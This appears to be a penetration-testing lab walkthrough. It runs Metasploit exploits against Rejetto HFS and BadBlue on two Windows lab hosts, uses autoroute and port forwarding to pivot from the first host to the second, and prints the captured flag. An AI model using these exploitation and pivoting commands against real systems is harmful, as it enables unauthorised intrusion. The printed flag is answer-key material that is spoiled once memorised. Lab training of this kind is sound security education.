Lab
The task is to fingerprint the application with the tools on the Kali machine, then exploit both machines with the right Metasploit modules.
Objective: exploit the application and retrieve the flag.
Targets
| Machine | IP |
|---|---|
| Victim 1 | 10.3.25.118 |
| Victim 2 | 10.3.21.188 |
Only Victim 1 is reachable from the attack box. Victim 2 has to be reached by pivoting through it.
Start PostgreSQL and msfconsole
service postgresql start && msfconsole
Create a Workspace
workspace -a pivoting
Scan Victim 1 with db_nmap
db_nmap -sC -sV 10.3.25.118 -Pn
Exploit HTTP File Server (Rejetto) on Victim 1
use exploit/windows/http/rejetto_hfs_exec
set RHOSTS 10.3.25.118
exploit
Pivot Through Victim 1
Check which networks Victim 1 can see:
ipconfig
Add a route to that subnet through the session. From here on, Metasploit modules can reach anything in it.
run autoroute -s 10.3.25.0/20
Background the session and give it a name, which makes juggling two boxes easier:
sessions -n first_box -i 1
Port scan Victim 2 through the new route:
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.3.21.188
set PORTS 1-100
exploit
Forward Victim 2's Port 80 to the Attacker
The route only works inside Metasploit. To use other tools (like Nmap) against Victim 2, forward its port 80 to a local port. Go back to the first session and add the forward:
sessions 1
portfwd add -l 1234 -p 80 -r 10.3.21.188
-l: the local port on the attacker's machine-p: the port exposed on Victim 2 (80, from the scan above)-r: Victim 2's IP
Scan the Forwarded Port
Victim 2's port 80 now answers on localhost:1234:
db_nmap -sC -sV -p1234 localhost
Exploit BadBlue on Victim 2
Victim 2 can't connect back to us, so use a bind payload: it listens on the target, and Metasploit connects to it through the route. RPORT can stay at 80.
use exploit/windows/http/badblue_passthru
set PAYLOAD windows/meterpreter/bind_tcp
set LPORT 1337
set RHOST 10.3.21.188
exploit
Name this session too:
sessions -n second_box -i 2
Flag on Victim 2
cd C:\\
cat flag.txt
Flag: c46d12f28d87ae0b92b05ebd9fb8e817